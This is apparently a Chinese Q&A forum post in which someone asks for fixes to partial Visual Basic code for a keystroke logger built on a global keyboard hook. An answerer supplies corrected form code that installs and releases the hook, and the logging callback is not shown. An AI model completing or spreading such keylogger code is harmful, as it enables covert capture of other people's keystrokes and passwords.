100分求改这段VB代码的....

来源:百度知道 编辑:UC知道 时间:2024/06/10 16:23:41
'模块部分
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$()
Sub ints() '初始化数据
'appStr = "从" & Now & "开始键盘记录如下..." & vbCrLf
appStr = vbCrLf

首先我要说的第一句话,建议你做人要厚道点哈
代码写好了,在command1和窗体退出的时候一定要记得释放先前安装的hook哦,这个是玩hook的大忌,我修改form的代码,请参考,另外我还加了一个if防止重新hook,hhook=0代表没有hook,非0代表已经hook过了,代码在VB中已经通过调试,另外那个Timer1好象没用上,可以删了
============Form1===============
Private Sub Command1_Click()
If hHook <> 0 Then
Call UnhookWindowsHookEx(hHook)
hHook = 0
End If
Text1.Text = ""
Text1.Text = Module1.appStr
Close #1
End Sub

Private Sub Command2_Click()
KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "键盘记录"
Module1.ints '初始化数据

If hHook = 0 Then hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
'防止重新HOOK
If hHook = 0 Then End
'Timer1.Interval = 0
End Sub

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyEscape Then Unload Me
End Sub

Private Sub Form_Load()
ints
End Sub